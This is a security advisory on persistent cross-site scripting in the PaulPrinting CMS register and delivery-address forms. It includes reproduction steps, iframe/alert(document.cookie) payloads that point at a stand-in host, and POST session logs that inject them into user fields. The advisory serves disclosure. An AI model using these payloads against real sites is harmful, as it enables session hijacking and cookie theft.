Document Title:
===============
PaulPrinting CMS - Multiple Cross Site Web Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2285
Release Date:
=============
2023-07-19
Vulnerability Laboratory ID (VL-ID):
====================================
2285
Common Vulnerability Scoring System:
====================================
5.8
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
PaulPrinting is designed feature rich, easy to use, search engine friendly,
modern design and with a visually appealing interface.
(Copy of the Homepage:https://codecanyon.net/user/codepaul )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple persistent
cross site vulnerabilities in the PaulPrinting (v2018) cms web-application.
Affected Product(s):
====================
CodePaul
Product: PaulPrinting (2018) - CMS (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2022-08-25: Researcher Notification & Coordination (Security Researcher)
2022-08-26: Vendor Notification (Security Department)
2022-**-**: Vendor Response/Feedback (Security Department)
2022-**-**: Vendor Fix/Patch (Service Developer Team)
2022-**-**: Security Acknowledgements (Security Department)
2023-07-19: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted Authentication (User Privileges)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Responsible Disclosure
Technical Details & Description:
================================
Multiple persistent input validation vulnerabilities has been discovered in the
official PaulPrinting (v2018) cms web-application.
The vulnerability allows remote attackers to inject own malicious script codes
with persistent attack vector to compromise browser
to web-application requests from the application-side.
The first vulnerability is located in the register module. Remote attackers are
able to register user account with malicious script code.
After the registration to attacker provokes an execution of the malformed
scripts on review of the settings or by user reviews of admins
in the backend (listing).
The second vulnerability is located in the delivery module. Remote attackers
with low privileged user accounts are able to inject own
malicious script code to contact details. Thus allows to perform an execute on
each interaction with users or by reviews of admins in
the backend (listing).
Successful exploitation of the vulnerability results in session hijacking,
persistent phishing attacks, persistent external redirects to
malicious source and persistent manipulation of affected application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] /printing/register
[+] /account/delivery
Vulnerable Input(s):
[+] First name
[+] Last name
[+] Address
[+] City
[+] State
Vulnerable Parameter(s):
[+] firstname
[+] lastname
[+] address
[+] city
[+] state
Affected Module(s):
[+] Frontend Settings (./printing/account/setting)
[+] Frontend Delivery Address (./printing/account/delivery)
[+] Backend User Preview Listing
[+] Backend Delivery Address Contact Review
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by remote
attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Open your browser and start a http session tamper
2. Register in the application by login click to register
3. Inject to the marked vulnerable input fields your test payload
4. Save the entry by submit via post method
5. Login to the account and preview the settings
Note: Administrators in the backend have the same wrong validated context that
executes on preview of users
6. The script code executes on preview of the profile - settings
7. Successful reproduce of the first vulnerability!
8. Followup by opening the Delivery address module
9. Add a contact and add in the same vulnerable marked input fields your test
payload
Note: T he script code executes on each review of the address in the backend or
user frontend
10. Successful reproduce of the second vulnerability!
Exploitation: Payload
"<iframe src=evil.source onload(alert(document.cookie)>
"<iframe src=evil.source onload(alert(document.domain)>
--- PoC Session Logs (POST) ---
https://paulprinting.localhost:8000/printing/account/setting
Host: paulprinting.localhost:8000
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 357
Origin:https://paulprinting.localhost:8000
Connection: keep-alive
Referer:https://paulprinting.localhost:8000/printing/account/setting
Cookie: member_login=1; member_id=123;
session_id=13446428fe6e202a3be0e0ce23f0e5cd;
POST:
title=Mr.&firstname=a"<iframe src=evil.source onload(alert(document.cookie)>>
&lastname=b"<iframe src=evil.source onload(alert(document.cookie)>>
&address=c"<iframe src=evil.source onload(alert(document.cookie)>>
&city=d"<iframe src=evil.source onload(alert(document.cookie)>>
&state=e"<iframe src=evil.source onload(alert(document.cookie)>>
&zipcode=2342&country=BS&phone=23523515235235&save=Save
-
POST: HTTP/3.0 302 Found
content-type: text/html; charset=UTF-8
x-powered-by: PHP/7.1.33
location:https://paulprinting.localhost:8000/printing/account/setting?save=1
-
https://paulprinting.localhost:8000/printing/account/setting?save=1
Host: paulprinting.localhost:8000
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer:https://paulprinting.localhost:8000/printing/account/setting
Connection: keep-alive
Cookie: member_login=1; member_id=123;
session_id=13446428fe6e202a3be0e0ce23f0e5cd;
-
POST: HTTP/3.0 200 OK
content-type: text/html; charset=UTF-8
x-powered-by: PHP/7.1.33
Vulnerable Source: Your Account - Settings
<div class="form-group row">
<label class="col-sm-4 col-form-label">First name</label>
<div class="col-sm-8">
<input type="text" name="firsttname" class="form-control" value="a"<iframe src=evil.source
onload(alert(document.cookie)>">
</div></div>
<label class="col-sm-4 col-form-label">Last name</label>
<div class="col-sm-8">
<input type="text" name="lastname" class="form-control" value="b"<iframe src=evil.source
onload(alert(document.cookie)>">
</div></div>
<div class="form-group row">
<label class="col-sm-4 col-form-label">Address</label>
<div class="col-sm-8">
<input type="text" name="address" class="form-control" value="c"<iframe src=evil.source
onload(alert(document.cookie)>">
</div></div>
<div class="form-group row">
<label class="col-sm-4 col-form-label">City</label>
<div class="col-sm-8">
<input type="text" name="city" class="form-control" value="d"<iframe src=evil.source
onload(alert(document.cookie)>">
</div></div>
<div class="form-group row">
<label class="col-sm-4 col-form-label">State</label>
<div class="col-sm-8">
<input type="text" name="state" class="form-control" value="e"<iframe src=evil.source
onload(alert(document.cookie)>">
</div></div>
Vulnerable Source: Deliery Contact (Address)
<table class="table">
<thead>
<tr>
<th>Contact</th>
<th>Address</th>
<th>City</th>
<th>State</th>
<th>Country</th>
<th></th>
</tr>
</thead>
<tbody><tr>
<td>a"<iframe src=evil.source onload(alert(document.cookie)></td>
<td>b"<iframe src=evil.source onload(alert(document.cookie)></td>
<td>c"<iframe src=evil.source onload(alert(document.cookie)></td>
<td>d"<iframe src=evil.source onload(alert(document.cookie)></td>
<td></td>
<td class="text-right">
<a
href="https://paulprinting.localhost:8000/printing/account/delivery?id=10";>Edit</a>|
<a href="https://paulprinting.localhost:8000/printing/account/delivery?id=10&delete=1";
onclick="return confirm('Delete')">Delete</a>
</td></tr></tbody>
</table>
Security Risk:
==============
The security risk of the cross site scripting web vulnerabilities with
persistent attack vector are estimated as medium.
Credits & Authors:
==================
Vulnerability-Lab [Research Team]
-https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
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=========================
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